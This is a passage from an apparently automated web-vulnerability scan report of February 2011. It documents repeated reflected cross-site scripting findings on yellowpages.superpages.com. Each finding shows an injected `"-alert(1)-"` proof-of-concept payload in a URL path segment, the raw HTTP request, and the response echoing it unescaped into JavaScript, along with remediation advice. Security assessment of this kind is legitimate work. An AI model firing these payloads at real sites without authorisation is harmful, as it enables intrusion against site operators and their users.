Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/css6e3da&quot;-alert(1)-&quot;acb1d78ef25/spflyouts.1.0.css
Server: Unspecified
Set-Cookie: JSESSIONID=D52748B2F7AE3B38F917957D6A181889; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:06 GMT
Cache-Control: private
Content-Length: 36095


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/css6e3da"-alert(1)-"acb1d78ef25/spflyouts.1.0.css?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.38. http://yellowpages.superpages.com/common/css/spflyouts.1.0.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/spflyouts.1.0.css

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fa201"-alert(1)-"737b17cce6d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/css/spflyouts.1.0.cssfa201"-alert(1)-"737b17cce6d HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/css/spflyouts.1.0.cssfa201&quot;-alert(1)-&quot;737b17cce6d
Server: Unspecified
Set-Cookie: JSESSIONID=69DC6403BFC862BADBDF43AFF539343B; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:14 GMT
Cache-Control: private
Content-Length: 36095


                       <!--
       
       -->


                                   
...[SNIP]...
ges.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/css/spflyouts.1.0.cssfa201"-alert(1)-"737b17cce6d?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.39. http://yellowpages.superpages.com/common/css/sppromoads.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/sppromoads.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 53209"-alert(1)-"19f62aec85 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common53209"-alert(1)-"19f62aec85/css/sppromoads.css HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common53209&quot;-alert(1)-&quot;19f62aec85/css/sppromoads.css
Server: Unspecified
Set-Cookie: JSESSIONID=8E8F60E769287FC4C64A66BDCBA5CF11; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:45 GMT
Cache-Control: private
Content-Length: 36087


                       <!--
       
       -->


                                   
...[SNIP]...
erv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common53209"-alert(1)-"19f62aec85/css/sppromoads.css?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.40. http://yellowpages.superpages.com/common/css/sppromoads.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/sppromoads.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c53f7"-alert(1)-"f0b92738dcd was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/cssc53f7"-alert(1)-"f0b92738dcd/sppromoads.css HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/cssc53f7&quot;-alert(1)-&quot;f0b92738dcd/sppromoads.css
Server: Unspecified
Set-Cookie: JSESSIONID=85975BEBF5BE4BEC0876302A028AEC4B; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:54 GMT
Cache-Control: private
Content-Length: 36089


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/cssc53f7"-alert(1)-"f0b92738dcd/sppromoads.css?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.41. http://yellowpages.superpages.com/common/css/sppromoads.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/sppromoads.css

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c6905"-alert(1)-"628f1c95393 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/css/sppromoads.cssc6905"-alert(1)-"628f1c95393 HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/css/sppromoads.cssc6905&quot;-alert(1)-&quot;628f1c95393
Server: Unspecified
Set-Cookie: JSESSIONID=D69C3C5699393247BF29AC6893B9AA7D; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:01 GMT
Cache-Control: private
Content-Length: 36089


                       <!--
       
       -->


                                   
...[SNIP]...
wpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/css/sppromoads.cssc6905"-alert(1)-"628f1c95393?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.42. http://yellowpages.superpages.com/common/css/structure.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/structure.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4770c"-alert(1)-"4414bf7cc3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common4770c"-alert(1)-"4414bf7cc3/css/structure.css HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common4770c&quot;-alert(1)-&quot;4414bf7cc3/css/structure.css
Server: Unspecified
Set-Cookie: JSESSIONID=B3A85C1803D19FCD2490D1349686EC11; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:26 GMT
Cache-Control: private
Content-Length: 36085


                       <!--
       
       -->


                                   
...[SNIP]...
erv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common4770c"-alert(1)-"4414bf7cc3/css/structure.css?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.43. http://yellowpages.superpages.com/common/css/structure.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/structure.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dee76"-alert(1)-"0d4decbeb19 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/cssdee76"-alert(1)-"0d4decbeb19/structure.css HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/cssdee76&quot;-alert(1)-&quot;0d4decbeb19/structure.css
Server: Unspecified
Set-Cookie: JSESSIONID=ABCC92F3BBD93E038D6DE273AA54967F; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:33 GMT
Cache-Control: private
Content-Length: 36087


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/cssdee76"-alert(1)-"0d4decbeb19/structure.css?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.44. http://yellowpages.superpages.com/common/css/structure.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/structure.css

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b1738"-alert(1)-"099ed66255a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/css/structure.cssb1738"-alert(1)-"099ed66255a HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/css/structure.cssb1738&quot;-alert(1)-&quot;099ed66255a
Server: Unspecified
Set-Cookie: JSESSIONID=E9374EE61141A9229E321BCE1DD67FDA; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:41 GMT
Cache-Control: private
Content-Length: 36087


                       <!--
       
       -->


                                   
...[SNIP]...
owpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/css/structure.cssb1738"-alert(1)-"099ed66255a?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.45. http://yellowpages.superpages.com/common/css/styles.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/styles.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 992a6"-alert(1)-"25f8f156e7b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common992a6"-alert(1)-"25f8f156e7b/css/styles.css HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common992a6&quot;-alert(1)-&quot;25f8f156e7b/css/styles.css
Server: Unspecified
Set-Cookie: JSESSIONID=3211127661936C99371FE25634686EA3; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:32:58 GMT
Cache-Control: private
Content-Length: 36081


                       <!--
       
       -->


                                   
...[SNIP]...
erv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common992a6"-alert(1)-"25f8f156e7b/css/styles.css?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.46. http://yellowpages.superpages.com/common/css/styles.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/styles.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dd028"-alert(1)-"da24c435281 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/cssdd028"-alert(1)-"da24c435281/styles.css HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/cssdd028&quot;-alert(1)-&quot;da24c435281/styles.css
Server: Unspecified
Set-Cookie: JSESSIONID=8987766902F63B3992E6CA214283A0CE; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:06 GMT
Cache-Control: private
Content-Length: 36081


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/cssdd028"-alert(1)-"da24c435281/styles.css?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.47. http://yellowpages.superpages.com/common/css/styles.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/styles.css

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 67e49"-alert(1)-"cece7288702 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/css/styles.css67e49"-alert(1)-"cece7288702 HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/css/styles.css67e49&quot;-alert(1)-&quot;cece7288702
Server: Unspecified
Set-Cookie: JSESSIONID=3D234B69705369EA8A13C831B4DC2D38; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:15 GMT
Cache-Control: private
Content-Length: 36081


                       <!--
       
       -->


                                   
...[SNIP]...
ellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/css/styles.css67e49"-alert(1)-"cece7288702?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.48. http://yellowpages.superpages.com/common/css/typography.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/typography.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dd884"-alert(1)-"66558d398fa was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /commondd884"-alert(1)-"66558d398fa/css/typography.css HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /commondd884&quot;-alert(1)-&quot;66558d398fa/css/typography.css
Server: Unspecified
Set-Cookie: JSESSIONID=8C9E587A9A2B11245C4CB313D66A5039; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:28 GMT
Cache-Control: private
Content-Length: 36089


                       <!--
       
       -->


                                   
...[SNIP]...
erv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/commondd884"-alert(1)-"66558d398fa/css/typography.css?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.49. http://yellowpages.superpages.com/common/css/typography.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/typography.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6cec5"-alert(1)-"d776eed8f91 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/css6cec5"-alert(1)-"d776eed8f91/typography.css HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/css6cec5&quot;-alert(1)-&quot;d776eed8f91/typography.css
Server: Unspecified
Set-Cookie: JSESSIONID=0FE3B1548143B2CCE3AB4A9092140C80; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:37 GMT
Cache-Control: private
Content-Length: 36089


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/css6cec5"-alert(1)-"d776eed8f91/typography.css?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.50. http://yellowpages.superpages.com/common/css/typography.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/typography.css

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c512b"-alert(1)-"208ebd640d3 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/css/typography.cssc512b"-alert(1)-"208ebd640d3 HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/css/typography.cssc512b&quot;-alert(1)-&quot;208ebd640d3
Server: Unspecified
Set-Cookie: JSESSIONID=BE70921D9EFA0EDB349E547050E51902; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:45 GMT
Cache-Control: private
Content-Length: 36089


                       <!--
       
       -->


                                   
...[SNIP]...
wpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/css/typography.cssc512b"-alert(1)-"208ebd640d3?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.51. http://yellowpages.superpages.com/common/js/alertcommon.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/alertcommon.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1603f"-alert(1)-"7b40bab0d58 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common1603f"-alert(1)-"7b40bab0d58/js/alertcommon.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common1603f&quot;-alert(1)-&quot;7b40bab0d58/js/alertcommon.js
Server: Unspecified
Set-Cookie: JSESSIONID=31374E21CBB6E62331151FDD9D287B6E; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:31:30 GMT
Cache-Control: private
Content-Length: 36087


                       <!--
       
       -->


                                   
...[SNIP]...
erv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


